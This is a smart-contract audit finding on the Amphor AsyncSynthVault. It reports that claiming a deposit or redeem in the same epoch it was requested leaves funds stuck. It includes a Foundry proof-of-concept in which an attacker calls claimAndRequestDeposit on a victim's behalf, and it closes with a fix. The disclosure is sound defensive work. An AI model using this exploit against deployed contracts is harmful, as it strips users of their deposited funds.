Attractive Tin Carp

high

# Claiming a deposit (or redeem) on the same epoch it has been requested leads to stuck funds

## Summary
Claiming deposits or redeems on the same epoch they are requested will lose all the requested assets/shares.

## Vulnerability Detail
The functions [claimDeposit()](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L508) and [claimRedeem()](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L521) are supposed to be called by an user to claim (or redeem) the shares (or assets) requested on a previous epoch.

Both functions can be called by a user on the same epoch in which the request of deposit (or redeem) was made. If this happens the variable `depositRequestBalance` (or `redeemRequestBalance`) [gets zeroed out](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L753) but no shares (or assets) are transferred to the `receiver` because [`previewClaimDeposit`](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L567) returns `0` when queried about the current epoch. Because of this users will lose either assets or shares, which will be stuck in the `pendingSilo` first and `claimableSilo` later. 

Furthermore, the function [`claimAndRequestDeposit()`](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L204) allows anybody to claim a deposit on behalf of anybody else. An attacker can exploit this and call the function as soon as any user calls [requestDeposit()](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L439) to zero out the shares they will receive when calling [claimDeposit()](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L508), effectively losing them funds.


### POC
The POC shows Alice requesting a deposit after which an attacker calls [`claimAndRequestDeposit()`](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L204) preventing Alice from being able to claim her shares.

Add import in `TestClaimRedeem.t.sol`:
```solidity
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
```
and copy-paste:
```solidity
function test_requestDepositOnSameEpochLosesFunds() external {
    address alice = makeAddr("alice");
    address attacker = makeAddr("attacker");

    address vaultOwner = vaultTested.owner();
    IERC20 asset = IERC20(vaultTested.asset());
    deal(address(asset), alice, 15e18);

    vm.prank(alice);
    asset.approve(address(vaultTested), type(uint256).max);

    //-> Alice deposits and gets 10e18 shares
    vm.prank(alice);
    vaultTested.deposit(10e18, alice);
    assertEq(vaultTested.balanceOf(alice), 10e18);

    //-> Vault gets closed
    vm.prank(vaultOwner);
    vaultTested.close();

    //-> Alice requests a deposit of 5e18
    vm.startPrank(alice);
    vaultTested.requestDeposit(5e18, alice, alice, "");
    vm.stopPrank();

    //-> Alice assets are transferred in the pending silo
    assertEq(asset.balanceOf(address(vaultTested.pendingSilo())), 5e18);

    //-> Attacker claims deposit on behalf of Alice and requests a new deposit of `0` to her
    vm.prank(attacker);
    vaultTested.claimAndRequestDeposit(0, alice, "");

    assertEq(vaultTested.balanceOf(alice), 10e18); //❌ Alice' shares did not increase

    //-> Vault is open and new epoch triggered
    vm.startPrank(vaultOwner);
    asset.approve(address(vaultTested), type(uint256).max);
    vaultTested.open(10e18);
    vm.stopPrank();

    //-> Alice claims deposit but still claims no shares
    vm.prank(alice);
    vaultTested.claimDeposit(alice);
    assertEq(vaultTested.balanceOf(alice), 10e18); //❌ Alice' shares did not increase
}
```

## Impact
Users will lose all of the assets they requested if either [_claimDeposit()](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L751) or [_claimRedeem()](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L767) is called on the same epoch the assets were requested on. This can also be enforced by an attacker via [`claimAndRequestDeposit()`](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L204).

## Code Snippet

## Tool used

Manual Review

## Recommendation
- In [_claimDeposit()](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L751) revert if `lastDepositRequestId[owner]` is equal to the current epoch.
- In [_claimRedeem()](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L767) revert if `lastRedeemRequestId[owner]` is equal to the current epoch.
